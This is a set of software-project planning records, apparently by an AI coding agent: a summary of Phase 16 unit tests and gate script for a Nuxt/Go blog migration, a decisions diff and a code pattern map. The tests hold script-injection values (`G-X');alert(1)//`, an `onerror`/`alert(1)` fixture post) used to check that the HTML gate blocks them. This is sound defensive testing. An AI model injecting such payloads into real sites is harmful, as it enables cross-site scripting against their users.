|
||||
description: "Fail-closed phase gate across the three repos and the VALIDATION sign-off (T-16-24)"
|
||||
requirement: SC-4
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "bash scripts/check-phase16.sh --all -> PASS self-test, layer, layer-smoke (28 checks), app (25 tests, 36 + 2 smoke checks), host, plugin, deploy; last line 'Phase 16 gate passed'"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D7
|
||||
description: "The grzyby harness's testcontainers path (postgres:16-alpine with ICU pl-PL) works where Docker is available"
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "Docker is unreachable for this user, so only the GRZYBY_TEST_ADMIN_DSN path ran; logged in deferred-items.md"
|
||||
|
||||
duration: 19 min
|
||||
completed: 2026-10-09
|
||||
---
|
||||
|
||||
# Phase 16 Plan 05: Unit tests and phase gate Summary
|
||||
|
||||
**Every piece of Phase 16 code now has automated tests. A `node --test` SSR test boots the built grzybyfunkcjonalne.pl server against the fixture Journal API and checks every PHP URL form, the locale, analytics and the HTML gate. 78 layer util tests and 9 app util/content tests run without a build. Go tests cover both grzyby import commands against a throwaway ICU database and the `/gfadmin` boot. `scripts/check-phase16.sh --all` runs everything and ends with "Phase 16 gate passed".**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** 19 min
|
||||
- **Started:** 2026-10-09T17:57:30Z
|
||||
- **Completed:** 2026-10-09T18:16:14Z
|
||||
- **Tasks:** 3 (Task 1 a tracer, re-verified before expansion)
|
||||
- **Files:** 27 across four repositories (15 created, 12 modified)
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **SSR tracer (D-15, D-16, D-21, D-23, D-24, T-16-01).** `tests/ssr.test.ts` starts the layer's fixture API and `.output/server/index.mjs` and checks:
|
||||
- 23 URLs for their status, including `/blog?page=0|abc|3`, `/404`, `/error`, `/rss`, `/feed`, `/en`, `/blog/tag/anything`;
|
||||
- static pages over `/:category`, the `?page=2` canonical and "Strona 2" title, the post title suffix "| Grzyby Funkcjonalne";
|
||||
- the empty-state copy on `/amanita-muscaria`, "Cordyceps w pigułce" before the first post card;
|
||||
- the new fixture post `test-niebezpieczny-wpis`: the blocked class, no `onerror`, no `alert(1)`;
|
||||
- XFF `198.51.100.9` reaching the fixture API, `include_empty=1` on every categories request;
|
||||
- RSS content type, sitemap entries, no `<form>`;
|
||||
- three servers for D-23: default (no gtag), `G-MLSV7WJ6W4` (loader and config call), malformed (no gtag).
|
||||
- A mutation run (gate forced open in a copy of the layer in `node_modules`) made the T-16-01 case fail, so the case depends on the gate.
|
||||
- **Layer util tests.** Seven files, 78 tests: `routes`, `client` (fake fetcher), `pagination`, `htmlGate` (the six Go `FormatHTML` cases plus upper case), `sitemap`, `seo`, `i18n` parity. No util needed a fix, so there is no new layer tag.
|
||||
- **App util and content tests.** `analytics.test.ts` and `content.test.ts`: GA ids, 16 FAQ entries, menu kinds, and every `t()` key in the templates resolving against `pl.json` or the layer's `journal.*` strings.
|
||||
- **Go tests (D-21, D-22, D-09, T-16-10, T-16-12, T-16-23).**
|
||||
- `testmain_test.go` creates `grzyby_test_<hex>` with `LOCALE_PROVIDER icu ICU_LOCALE 'pl-PL'`, migrates through `lagoon.Migrate` with translate and Journal activated, and drops only that database.
|
||||
- Featured images: `TestReadFeaturedImageMap`, `TestValidDiskName`, `TestFeaturedImageSourceEscape` (pure, with a trap database), `TestImportFeaturedImagesRequiresInputs`, `TestImportFeaturedImages`, `TestImportFeaturedImagesFailures`, `TestImportFeaturedImagesDryRun`.
|
||||
- Categories: `TestReadCategoryMap`, `TestImportCategories`, `TestImportCategoriesDryRun`.
|
||||
- Host: `TestBackendURIGfadmin`, `TestGrzybyCommandsRegistered`.
|
||||
- **Gate (T-16-24).** `scripts/check-phase16.sh` has seven stages. Its two detectors (go test JSON and node TAP) each refuse planted fail, skip, todo, zero, no-tests, race and missing-name inputs in `--self-test`.
|
||||
- **Validation.** 16-VALIDATION.md rows are bound to 16-01-T2 … 16-05-T3 with threat refs and are all green. Wave 0 is ticked, and `nyquist_compliant: true`.
|
||||
|
||||
## Task Commits
|
||||
|
||||
1. **Task 1 (tracer): SSR test of the built site.**
|
||||
- App `269ba3d` (test), pushed.
|
||||
- Host `cae7fd1` (chore: gitlink), pushed.
|
||||
- Tracer gate: interactive, `end-of-phase`, automated-only verify. Re-ran `pnpm build && pnpm test` (16/16) before expanding.
|
||||
2. **Task 2: layer util tests and app util/content tests.**
|
||||
- Layer `a4dca42` (test), pushed to main. No tag, since there was no runtime change.
|
||||
- App `5b10bc0` (test), pushed.
|
||||
- Host `a60a031` (chore: gitlink), pushed.
|
||||
3. **Task 3: Go tests, gate and sign-off.**
|
||||
- Host `87e5353` (test: grzyby command and boot tests), pushed.
|
||||
- summercms.go `c5e03f4` (test: Phase 16 gate).
|
||||
- summercms.go `a8c65bc` (docs: validation sign-off).
|
||||
|
||||
**Plan metadata:** the docs(16-05) commit in summercms.go (this SUMMARY, deferred-items.md, STATE, ROADMAP).
|
||||
|
||||
## Files Created/Modified
|
||||
|
||||
See `key-files`. Notes:
|
||||
|
||||
- `tests/fixtures/api/posts.json` gains post 15, `test-niebezpieczny-wpis`. It is dated 2024-01-15 and has no category, so the homepage's latest posts, the category listings and the 2-page `/blog` stay as they were.
|
||||
- `expect.txt` gains its smoke line (36 checks now).
|
||||
- The host README documents `go -C plugins/grzyby test ./... -race` and `GRZYBY_TEST_ADMIN_DSN`.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
See `key-decisions` in the frontmatter.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 1 - Plan data] The malformed GA id is in the page as serialized runtime config**
|
||||
- **Found during:** Task 1 (first SSR test run: `the malformed id reached the page`).
|
||||
- **Issue:** Nuxt writes `runtimeConfig.public` into `window.__NUXT__.config`, so `gaId:"G-X');alert(1)//"` appears once as a double-quoted JS string literal. There, the single quote cannot end the string, so nothing executes. The plan's literal "no alert(1)" cannot hold for any public config value.
|
||||
- **Fix:** The test asserts that there is no `googletagmanager`, no `gtag(`, that the id appears as `gaId:"…"` (JSON-encoded), and that `alert(1)` appears nowhere else on the page.
|
||||
- **Files modified:** `tests/ssr.test.ts`.
|
||||
- **Commit:** `269ba3d`.
|
||||
|
||||
**2. [Rule 3 - Blocking] Host boot tests need the JWT secrets**
|
||||
- **Found during:** Task 3 (`TestGrzybyCommandsRegistered`: `golem15.user: jwt.secret is empty`).
|
||||
- **Fix:** A `setTestSecrets` helper, used by both new tests. They load the committed config through the existing `loadCommittedConfig` copy instead of `compass.Load("config")`, so a local `.env` cannot override `backend.uri` (16-03 decision).
|
||||
- **Commit:** `87e5353`.
|
||||
|
||||
**3. [Rule 3 - Blocking] `go mod tidy` cannot run offline for the test dependencies**
|
||||
- **Issue:** Tidy wants the test dependencies of testcontainers' own dependencies (rapid, pty, objx), which are not in the module cache.
|
||||
- **Fix:** I ran `go get` of the pinned versions (v0.44.0, pgx v5.10.0, gorm postgres v1.6.3, translate), then `go mod tidy -e`. `go vet` passes in `-mod=readonly`, workspace and host mode.
|
||||
- **go.mod changes:** The redundant `toolchain go1.27.0` line was dropped, because the go command rejects it as an update under `-mod=readonly`.
|
||||
- **Commit:** `87e5353`.
|
||||
|
||||
**4. [Scope addition] Extra tests beyond the behavior list**
|
||||
- I added `TestImportFeaturedImagesRequiresInputs`, `TestImportFeaturedImagesFailures` (also covering base slug without export, sniff mismatch and size mismatch) and `TestImportCategoriesDryRun`.
|
||||
- Layer tests cover `paginationWindow`, `isNotFound`, `encodeSlugPath`, `htmlToText` and `truncateText`.
|
||||
- The SSR test also asserts `include_empty=1` on every categories request.
|
||||
|
||||
**5. [Plan wording] The gate parses `go test -json`, not `-v` text**
|
||||
- **Issue:** The plan describes grepping `--- FAIL`, `--- SKIP` and PASS lines. The gate follows `check-phase15.sh` instead: it reads `go test -json -v` events. That is the same fail-closed contract (fail, skip, no tests to run, DATA RACE, missing named PASS) without text-format fragility.
|
||||
- **Node runs:** They use a TAP detector with named tests per stage.
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 5. That is 1 plan-data correction, 2 blocking fixes and 2 scope or wording adjustments.
|
||||
**Impact on plan:** Every named artifact, test name, env var and gate line exists. No runtime code changed in any repo.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- **Postgres.** Docker is unreachable for user `golem`, and `GRZYBY_TEST_ADMIN_DSN` was not set.
|
||||
- I used the sanctioned fallback: a throwaway PostgreSQL 18.6 cluster (`initdb`, ICU pl-PL, trust auth) on 127.0.0.1:55495 in the scratchpad.
|
||||
- It was passed as `GRZYBY_TEST_ADMIN_DSN` through the environment only.
|
||||
- The harness needs no code override, so no repo file was touched for it.
|
||||
- The cluster was stopped and deleted afterwards.
|
||||
- The testcontainers path is untested here (deferred-items.md).
|
||||
- **pnpm.** It ran with `TMPDIR` in the scratchpad and the project-drive store, as in 16-01..16-04.
|
||||
- **summercms.go Go code.** It is unchanged by this plan, which added a shell script and docs only. I did not run `go test ./...` there, because another session has uncommitted edits in that tree.
|
||||
- **Concurrent work.**
|
||||
- summercms.go has another session's uncommitted `ROADMAP.md` change and untracked phase 16.1/16.2/18.1 directories. They were left alone.
|
||||
- `.planning/state.json` stays unstaged.
|
||||
- The host's untracked `.gsd/` was left alone.
|
||||
|
||||
## Known Stubs
|
||||
|
||||
None. The plan adds tests, fixtures and docs only.
|
||||
|
||||
## Threat Flags
|
||||
|
||||
None. No runtime surface was added.
|
||||
- **T-16-23:** the harness drops only `grzyby_test_<hex>`; after the run the cluster listed only `postgres`, `template0` and `template1`.
|
||||
- **T-16-SC:** testcontainers-go v0.44.0 is the only Go addition, and no npm package was added.
|
||||
|
||||
## User Setup Required
|
||||
|
||||
For the full gate on another machine:
|
||||
- set `GRZYBY_TEST_ADMIN_DSN` (see 16-USER-SETUP.md and the host README), or make Docker available;
|
||||
- have `nginx` and `pnpm` on the PATH.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Phase 16 is complete: all five plans have SUMMARYs, VALIDATION is signed off, and the gate passes.
|
||||
- Still open for `/msd-verify-work`:
|
||||
- the staging visual review (16-04 D5);
|
||||
- the testcontainers run;
|
||||
- the deferred items (layer XFF under swr, `cta.png` size, the framework DB-for-plugin-commands gap, the fileblob `no_tmp_dir` default).
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- FOUND: all 15 created files and the 12 modified files listed in `key-files`.
|
||||
- FOUND commits:
|
||||
- app `269ba3d` and `5b10bc0` on origin/main;
|
||||
- layer `a4dca42` on origin/main;
|
||||
- host `cae7fd1`, `a60a031` and `87e5353` on origin/master;
|
||||
- summercms.go `c5e03f4` and `a8c65bc`.
|
||||
- Plan verification:
|
||||
- layer `pnpm test` gives 78/78;
|
||||
- app build plus `pnpm test` gives 25/25;
|
||||
- Go plugin `-race` gives 10 PASS;
|
||||
- host gives 4 PASS;
|
||||
- `bash scripts/check-phase16.sh --all` ends with "Phase 16 gate passed".
|
||||
|
||||
---
|
||||
*Phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views*
|
||||
*Completed: 2026-10-09*
|
||||
@@ -10,7 +10,7 @@ grzybyfunkcjonalne.pl gets a new Nuxt frontend built the same way as `vue-summer
|
||||
|
||||
The phase ends with the site **deploy-ready on staging** on the same server as the PHP site. The production nginx/DNS switch is a separate operational step after the phase.
|
||||
|
||||
Out of scope: porting the Winter arsha/Twig theme or a Go server-side template engine; the menu, FAQ, sitemanager, blocks and sitemap plugin ports; the contact and newsletter forms; an English locale; changes to `sm-journal-plugin`'s API contract (Phase 15 D-14). `summercms.go` is touched only if a framework feature turns out to be missing.
|
||||
Out of scope: porting the Winter arsha/Twig theme or a Go server-side template engine; the menu, FAQ, sitemanager, blocks and sitemap plugin ports; the contact and newsletter forms; an English locale; changes to `sm-journal-plugin`'s API contract (Phase 15 D-14), except the author endpoint and category pillar content added by pre-execution quick tasks (D-20, D-21). `summercms.go` is touched only if a framework feature turns out to be missing.
|
||||
|
||||
</domain>
|
||||
|
||||
@@ -45,6 +45,15 @@ Out of scope: porting the Winter arsha/Twig theme or a Go server-side template e
|
||||
- **D-17:** Content migration uses the Phase 15 **`journal:import-posts`** command fed by a PHP Journal export (the PHP repo already has `journal-export/*.json`), plus copying featured images and media into Go storage. Research must check that the export format matches the importer, and that slugs, authors, categories, tags, published dates and media references survive; it must flag gaps rather than patch over them.
|
||||
- **D-18:** **The phase stops at staging.** grzybyfunkcjonalne content runs end to end on staging (Go + Nuxt + imported posts) on the PHP site's server, with a smoke check that hits every old URL. The production switch is not a plan in this phase. Success criterion 1 counts as met once the site is served by SummerCMS on staging.
|
||||
|
||||
### Decisions after research (2026-10-09, from 16-RESEARCH.md open questions)
|
||||
- **D-19:** **5 plans**: (1) `vue-journal-layer`, including the spike that installs it from the git tag, (2) `vue-grzybyfunkcjonalne-app` with the content port, (3) host config, migration tooling and deploy scripts, (4) staging deploy plus smoke check as a human checkpoint, (5) unit tests.
|
||||
- **D-20:** **Author API in the Journal plugin**, as a prerequisite. A `/msd-quick` task in `sm-journal-plugin` runs *before* Phase 16 execution and adds an anonymous author endpoint: an author slug plus the public profile fields the author page needs, and the author's posts. This supersedes the "no `sm-journal-plugin` API changes" boundary for this addition only. Phase 16 plans consume that endpoint for `/autor/:author` (D-05) and do not implement it. If the endpoint isn't there at execution start, the layer plan stops at a checkpoint. — **Reversibility:** costly — published API addition on a shared plugin.
|
||||
- **D-21:** **Category pillar content in the Journal plugin**, as a prerequisite. A `/msd-quick` or `/msd-fast` task in `sm-journal-plugin` runs *before* execution and adds a rich content field to Category, exposed in the admin form and in the categories API. Phase 16 renders it on `/:category` pages above the post list, and plan 3's migration fills it from the PHP database. No app-side pillar files.
|
||||
- **D-22:** **Featured images** come in through an **app-local Go command** in `sm-grzybyfunkcjonalne-app`. It reads a slug→file map produced by a SQL query on the PHP database and copies the files under their Winter disk names, so old image URLs keep resolving. It is idempotent and has unit tests.
|
||||
- **D-23:** **Google Analytics carries over**: tag `G-MLSV7WJ6W4`, set through Nuxt runtime config (`NUXT_PUBLIC_…`) so staging can leave it empty.
|
||||
- **D-24:** **`/amanita-muscaria` stays.** The layer always requests categories with `include_empty=1`, so an empty category renders 200 with its pillar content and an empty list.
|
||||
- **D-25:** **`pl` becomes the default locale before `journal:import-posts`** (RESEARCH key finding: the 62 live post URLs use Polish slugs). It is a scripted, ordered migration step that imports once into a fresh database (`--force` re-runs are unsafe after the switch).
|
||||
|
||||
### Claude's Discretion
|
||||
- Plan count and split, subject to the plan-count checkpoint and "unit tests are the last plan" (the layer gets Vitest or `node --test` tests, and app-local Go code gets Go tests).
|
||||
- How the layer exposes route configuration (`app.config`, runtime config or pages override) and token names.
|
||||
|
||||
@@ -0,0 +1,278 @@
|
||||
# Phase 16: grzybyfunkcjonalne.pl on reusable blog views - Pattern Map
|
||||
|
||||
**Mapped:** 2026-10-09
|
||||
**Files analyzed:** 26 (grouped where they share an analog)
|
||||
**Analogs found:** 21 / 26
|
||||
|
||||
Paths are relative to `/media/nvme/dev/golem15/summercms.io/summercms/`. All analogs are git-tracked source (no `.msd` mirrors). D-20 (author endpoint) and D-21 (category content field) are pre-execution quick tasks in `sm-journal-plugin` and are **not** mapped here; only their consumption by the layer is.
|
||||
|
||||
## File Classification
|
||||
|
||||
| New/Modified File | Plan | Role | Data Flow | Closest Analog | Match |
|
||||
|---|---|---|---|---|---|
|
||||
| `vue-journal-layer/package.json` | 1 | config | build | `sm-summercmsio-app/vue-summercmsio-app/package.json` | exact (move nuxt/vue to devDeps) |
|
||||
| `vue-journal-layer/nuxt.config.ts` | 1 | config | build | `vue-summercmsio-app/nuxt.config.ts` | role-match (layer: absolute paths) |
|
||||
| `vue-journal-layer/modules/journal.ts` | 1 | module | build-time route registration | none in repo; RESEARCH Pattern 1 | no analog |
|
||||
| `vue-journal-layer/app/composables/useJournalApi.ts`, `app/utils/client.ts`, `types.ts`, `query.ts` | 1 | service/client | request-response | none (summercms.io has no data fetch); RESEARCH Pattern 2 | no analog |
|
||||
| `vue-journal-layer/app/utils/{pagination,htmlGate,routes}.ts` | 1 | utility | transform | `vue-summercmsio-app/app/utils/scrollSpy.ts` | role-match (pure TS, node --test) |
|
||||
| `vue-journal-layer/app/journal-pages/*.vue` (PostIndex, Post, Category, Tag, Author) | 1 | page | request-response (SSR) | `vue-summercmsio-app/app/pages/index.vue` | partial |
|
||||
| `vue-journal-layer/app/components/Journal/*.vue` | 1 | component | render | `vue-summercmsio-app/app/components/*` | role-match |
|
||||
| `vue-journal-layer/app/assets/css/journal-tokens.css`, `journal-base.css` | 1 | config (style) | — | `vue-summercmsio-app/app/assets/css/tokens.css`, `base.css` | exact |
|
||||
| `vue-journal-layer/i18n/locales/{pl,en}.json` | 1 | config (i18n) | — | `vue-summercmsio-app/i18n/locales/en.json` | exact |
|
||||
| `vue-journal-layer/server/api/__sitemap__/journal.ts` | 1 | server route | request-response | none; RESEARCH Pattern 5 | no analog |
|
||||
| `vue-journal-layer/README.md` | 1 | docs | — | `vue-summercmsio-app/README.md` (neutral names: `blog`/`acme`) | role-match |
|
||||
| `vue-grzybyfunkcjonalne-app/package.json` | 2 | config | build | `vue-summercmsio-app/package.json` | exact (+ git dep) |
|
||||
| `vue-grzybyfunkcjonalne-app/nuxt.config.ts` | 2 | config | build | `vue-summercmsio-app/nuxt.config.ts` | exact (SSR instead of generate) |
|
||||
| `vue-grzybyfunkcjonalne-app/app/pages/{index,kontakt,trwaja-prace}.vue`, `app/error.vue` | 2 | page | render | `vue-summercmsio-app/app/pages/index.vue` | exact |
|
||||
| `vue-grzybyfunkcjonalne-app/app/components/*` (Hero, About, Cta, Services, Faq, SiteHeader, SiteFooter, Journal overrides) | 2 | component | render | `vue-summercmsio-app/app/components/*` | exact |
|
||||
| `vue-grzybyfunkcjonalne-app/app/data/{menu.ts,faq.pl.json}` | 2 | config/data | — | `vue-summercmsio-app/app/data/terminal.json` | role-match |
|
||||
| `vue-grzybyfunkcjonalne-app/app/assets/css/tokens.css` | 2 | config (style) | — | `vue-summercmsio-app/app/assets/css/tokens.css` | exact |
|
||||
| `vue-grzybyfunkcjonalne-app/i18n/locales/pl.json` | 2 | config (i18n) | — | `vue-summercmsio-app/i18n/locales/en.json` | exact |
|
||||
| `sm-grzybyfunkcjonalne-app/.gitmodules` (add submodule) | 2/3 | config | — | `sm-summercmsio-app/.gitmodules` | exact |
|
||||
| `sm-grzybyfunkcjonalne-app/config/backend.yaml` | 3 | config | — | itself (currently `uri: /backend`) | exact |
|
||||
| app-local plugin `sm-grzybyfunkcjonalne-app/plugins/golem15/grzyby/plugin.go` (hosts the command) + `summer.yaml` entry | 3 | plugin | — | `sm-journal-plugin/plugin.go:60-65` (`Commands()`), `sm-summercmsio-app/plugins/golem15/summercms/plugin.go` | role-match |
|
||||
| `.../console/import_featured_images.go` (D-22) | 3 | command | file-I/O + CRUD | `sm-journal-plugin/console/import_posts.go` | exact |
|
||||
| `sm-grzybyfunkcjonalne-app/deploy/nginx/*.conf` | 3 | config | request routing | `sm-summercmsio-app/deploy/nginx/summercms.io.conf` | role-match (two upstreams) |
|
||||
| `sm-grzybyfunkcjonalne-app/deploy/supervisor/*.conf` (Go + Nuxt) | 3 | config | process | `sm-summercmsio-app/deploy/supervisor/summercms-io.conf` | exact (x2) |
|
||||
| `sm-grzybyfunkcjonalne-app/deploy/env.example` | 3 | config | — | `sm-summercmsio-app/deploy/env.example` | exact (+ `SUMMER_URL`, `NUXT_*`) |
|
||||
| `sm-grzybyfunkcjonalne-app/scripts/{build.sh,smoke.sh,check-deploy.sh,urls.txt,migrate.sh}` | 3/4 | script | batch | `sm-summercmsio-app/scripts/{build.sh,smoke.sh,check-deploy.sh}` | role-match |
|
||||
| Tests: layer/app `tests/*.test.ts`, Go `console/*_test.go` | 5 | test | — | `vue-summercmsio-app/tests/scrollSpy.test.ts`, `sm-grzybyfunkcjonalne-app/boot_test.go` | exact |
|
||||
|
||||
## Pattern Assignments
|
||||
|
||||
### `vue-journal-layer/package.json` and `vue-grzybyfunkcjonalne-app/package.json`
|
||||
|
||||
**Analog:** `sm-summercmsio-app/vue-summercmsio-app/package.json` (whole file)
|
||||
```json
|
||||
{
|
||||
"name": "vue-summercmsio-app",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"build": "nuxt build", "dev": "nuxt dev", "generate": "nuxt generate",
|
||||
"preview": "nuxt preview", "prepare": "nuxt prepare",
|
||||
"test": "node --test --test-reporter=tap tests/*.test.ts"
|
||||
},
|
||||
"engines": { "node": ">=22.18" },
|
||||
"dependencies": {
|
||||
"@nuxt/fonts": "0.14.0", "@nuxtjs/i18n": "10.4.0", "@nuxtjs/seo": "5.2.1",
|
||||
"nuxt": "4.4.8", "vue": "3.5.35"
|
||||
},
|
||||
"devDependencies": { "typescript": "5.9.3" }
|
||||
}
|
||||
```
|
||||
Adapt: layer keeps the three modules in `dependencies`, moves `nuxt`/`vue` to `devDependencies` (RESEARCH Installation). App adds `"vue-journal-layer": "git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.1.0"` and does not re-list modules at other versions (Pitfall 4). Drop `generate` from the app (SSR, D-07). Copy `.nvmrc` (22.22.0), `pnpm-workspace.yaml`, `tsconfig.json` from the same directory.
|
||||
|
||||
### `nuxt.config.ts` (layer and app)
|
||||
|
||||
**Analog:** `vue-summercmsio-app/nuxt.config.ts` (lines 1-66)
|
||||
```ts
|
||||
export default defineNuxtConfig({
|
||||
compatibilityDate: '2025-07-15',
|
||||
devtools: { enabled: false },
|
||||
modules: ['@nuxt/fonts', '@nuxtjs/i18n', '@nuxtjs/seo'],
|
||||
css: ['~/assets/css/tokens.css', '~/assets/css/base.css'],
|
||||
fonts: { families: [ { name: 'Roboto', weights: [300,400,500,700], styles: ['normal'], subsets: ['latin','latin-ext'], global: true } ] },
|
||||
i18n: {
|
||||
strategy: 'prefix_except_default',
|
||||
defaultLocale: 'en',
|
||||
locales: [{ code: 'en', language: 'en-US', file: 'en.json', name: 'English' }],
|
||||
langDir: 'locales/',
|
||||
baseUrl: 'https://summercms.io',
|
||||
},
|
||||
site: { url: 'https://summercms.io', name: 'SummerCMS', description: '...', defaultLocale: 'en' },
|
||||
ogImage: { enabled: false },
|
||||
sitemap: { autoI18n: false },
|
||||
})
|
||||
```
|
||||
- **Layer:** keep `modules`, replace `~/` css paths with `fileURLToPath(new URL('./app/assets/css/journal-tokens.css', import.meta.url))` (anti-pattern: relative/`~` paths resolve to the consumer); add `resolve('./modules/journal')` to modules; locales pl+en; `sitemap: { sources: ['/api/__sitemap__/journal'] }`; declare `runtimeConfig.journal.apiBase` and `runtimeConfig.public.journal.apiBase` (`/_journal/api/v1`).
|
||||
- **App:** `extends: ['vue-journal-layer']`, `journal.routes` (RESEARCH Pattern 1 app excerpt: `category: '/:category'`, `author: '/autor/:author'`, `tag: false`), `defaultLocale: 'pl'` with pl only, `site.url` grzyby, `routeRules: { '/**': { swr: 300 } }`, `runtimeConfig.public.gaId` empty (D-23 `NUXT_PUBLIC_GA_ID`). Fonts: Open Sans/Jost/Poppins family list in the same shape. Remove the `nitro.prerender` / `/docs` link-checker blocks; add `linkChecker.excludeLinks` for `/gfadmin`, `/_journal/**`, `/storage/**`.
|
||||
- Comment style: short explanatory comments above each block, as the analog does.
|
||||
|
||||
### `vue-journal-layer/modules/journal.ts`, `app/composables/useJournalApi.ts`, `server/api/__sitemap__/journal.ts`
|
||||
|
||||
**No codebase analog.** Use RESEARCH.md Pattern 1 (`defineNuxtModule` + `extendPages`, route names `journal-<key>`, `path === false` skips), Pattern 2 (server `apiBase` + forwarded `x-forwarded-for`), Pattern 3 (category resolves against `GET /categories?include_empty=1`, 404 via `createError({ statusCode: 404, fatal: true })`, D-24; render D-21 category `content` above the list), Pattern 5 (sitemap source paging `per_page=30` until `meta.last_page`). Author page consumes the D-20 endpoint; plan 1 checkpoints if absent. Put the pure logic (query building, page parsing, route-path validation, html gate, sitemap loc building from `journal.routes`) in `app/utils/*.ts` so it is `node --test`-able like `scrollSpy.ts`.
|
||||
|
||||
### `app/utils/*.ts` (pure TS, both repos)
|
||||
|
||||
**Analog:** `vue-summercmsio-app/app/utils/scrollSpy.ts` paired with `tests/scrollSpy.test.ts`. Exported constants + pure functions, no Nuxt imports, so tests import with an explicit `.ts` extension:
|
||||
```ts
|
||||
import { test } from 'node:test'
|
||||
import assert from 'node:assert/strict'
|
||||
import { activeSection, SPY_SECTIONS, SPY_THRESHOLD } from '../app/utils/scrollSpy.ts'
|
||||
|
||||
test('no sections means no active link', () => {
|
||||
assert.equal(activeSection([]), '')
|
||||
})
|
||||
```
|
||||
|
||||
### CSS tokens (layer `journal-tokens.css`, app `tokens.css`)
|
||||
|
||||
**Analog:** `vue-summercmsio-app/app/assets/css/tokens.css` (lines 1-20): single `:root { ... }` block, grouped by family with a trailing comment per variable naming its use:
|
||||
```css
|
||||
/* Design tokens from the summercms.io handoff. Component styles use these. */
|
||||
:root {
|
||||
--navy-900: #18223a; /* terminal background */
|
||||
--yellow-500: #f5c55a; /* accent */
|
||||
--text: #e9edf3; /* body text */
|
||||
```
|
||||
Layer uses the `--journal-color-*`, `--journal-font-*`, `--journal-space-*`, `--journal-radius-*` prefix (D-03). App overrides on `:root:root` or `html` (RESEARCH Pattern 4), seeded with `#0D705D/#27AE60/#138C74/#1AAC8F/#444444`.
|
||||
|
||||
### Pages and components (both repos)
|
||||
|
||||
**Analog:** `vue-summercmsio-app/app/pages/index.vue` and `app/components/*` (SFCs consuming i18n keys from `i18n/locales/*.json`, tokens only, no hard-coded colors). Layer pages live in `app/journal-pages/` (not `app/pages/`, anti-pattern); layer components under `app/components/Journal/` so the app overrides by the same name. Links via `useLocalePath()` with route names.
|
||||
|
||||
### i18n locale files
|
||||
|
||||
**Analog:** `vue-summercmsio-app/i18n/locales/en.json`, plus the leaf-walk check in `tests/output.test.ts` (lines 34-45: `type Messages = { [key: string]: string | Messages }`, `loadMessages()`, `leaves(tree, prefix)`). Reuse that helper in plan 5 to assert pl/en key parity in the layer.
|
||||
|
||||
### `sm-grzybyfunkcjonalne-app/.gitmodules`
|
||||
|
||||
**Analog:** `sm-summercmsio-app/.gitmodules` lines 1-3:
|
||||
```
|
||||
[submodule "vue-summercmsio-app"]
|
||||
path = vue-summercmsio-app
|
||||
url = git@git.golem15.com:golem15/vue-summercmsio-app.git
|
||||
```
|
||||
Submodule rule: commit and push inside the submodule first, then bump the gitlink as a separate commit.
|
||||
|
||||
### `sm-grzybyfunkcjonalne-app/config/backend.yaml`
|
||||
|
||||
Current content:
|
||||
```yaml
|
||||
# Admin mount path. Override with SUMMER_BACKEND__URI.
|
||||
uri: /backend
|
||||
```
|
||||
Change to `uri: /gfadmin` (D-09). Also review `config/http.yaml` (trusted proxy `127.0.0.1/32` at lines 15-16) - keep as is.
|
||||
|
||||
### App-local plugin + `import_featured_images.go` (D-22)
|
||||
|
||||
**Command analog:** `sm-journal-plugin/console/import_posts.go`
|
||||
|
||||
Imports (lines 3-21) - stdlib first, then framework modules, then gorm:
|
||||
```go
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"git.golem15.com/golem15/summercms/modules/backpack"
|
||||
"git.golem15.com/golem15/summercms/modules/bonfire"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
```
|
||||
Command declaration (lines 38-63): a constructor returning `bonfire.Command` that delegates to a testable function taking `*gorm.DB`:
|
||||
```go
|
||||
func ImportPosts(app *backpack.App) bonfire.Command {
|
||||
return bonfire.Command{
|
||||
Name: "journal:import-posts",
|
||||
Description: "Import journal posts with translations from JSON files.",
|
||||
Flags: []bonfire.Flag{
|
||||
{Name: "path", Description: "Import directory (default: journal-export)"},
|
||||
{Name: "force", Description: "Update existing posts (default: skip existing)", Bare: true},
|
||||
{Name: "dry-run", Description: "Show what would be imported without making changes", Bare: true},
|
||||
},
|
||||
Run: func(ctx context.Context, in bonfire.Input, out bonfire.Output) error {
|
||||
path := flagOrDefault(in, "path", defaultExportPath)
|
||||
...
|
||||
stats, err := ImportFromDir(ctx, mustDB(app), path, force, dry, out, nil)
|
||||
...
|
||||
out.Info(fmt.Sprintf("Results: %d created, %d updated, %d skipped, %d failed", ...))
|
||||
return nil
|
||||
},
|
||||
}
|
||||
}
|
||||
```
|
||||
Core loop + error handling (lines 66-120): nil-DB guard, `os.Stat` dir check, per-item failures counted into a stats struct with `out.Error(...)` and `continue`, fatal DB errors returned; whole run in one transaction (`work := func(tx *gorm.DB) error`). Copy this shape for `grzyby:import-featured-images --map map.json --source <dir> [--dry-run]` with `Created/Skipped/Failed` stats; idempotency = skip when an `attach.File` row with the same `disk_name` + `attachment_id` + `field` exists. Helpers `flagOrDefault`, `flagOn`, `mustDB` are unexported in the journal console package - re-declare locally.
|
||||
|
||||
**Attachment API** (`summercms.go/modules/lagoon/attach`):
|
||||
- `attach.BlobKey(diskName)` = `PartitionDirectory(diskName) + diskName` (thumb.go:54-69) - the blob key under bucket `file://./storage/app/uploads/public` (host `config/storage.yaml`).
|
||||
- `attach.File` struct (file.go:26-45): set `DiskName, FileName, FileSize, ContentType, Field: "featured_images", AttachmentID: strconv(postID), AttachmentType: "Golem15\\Journal\\Models\\Post"`; `IsPublic` is `*bool` (nil = DEFAULT TRUE).
|
||||
- Look up post id by host `slug` (which is the pl slug after D-25).
|
||||
|
||||
**Plugin host analog:** `sm-journal-plugin/plugin.go:60-65`:
|
||||
```go
|
||||
func (p *Plugin) Commands() []bonfire.Command {
|
||||
return []bonfire.Command{
|
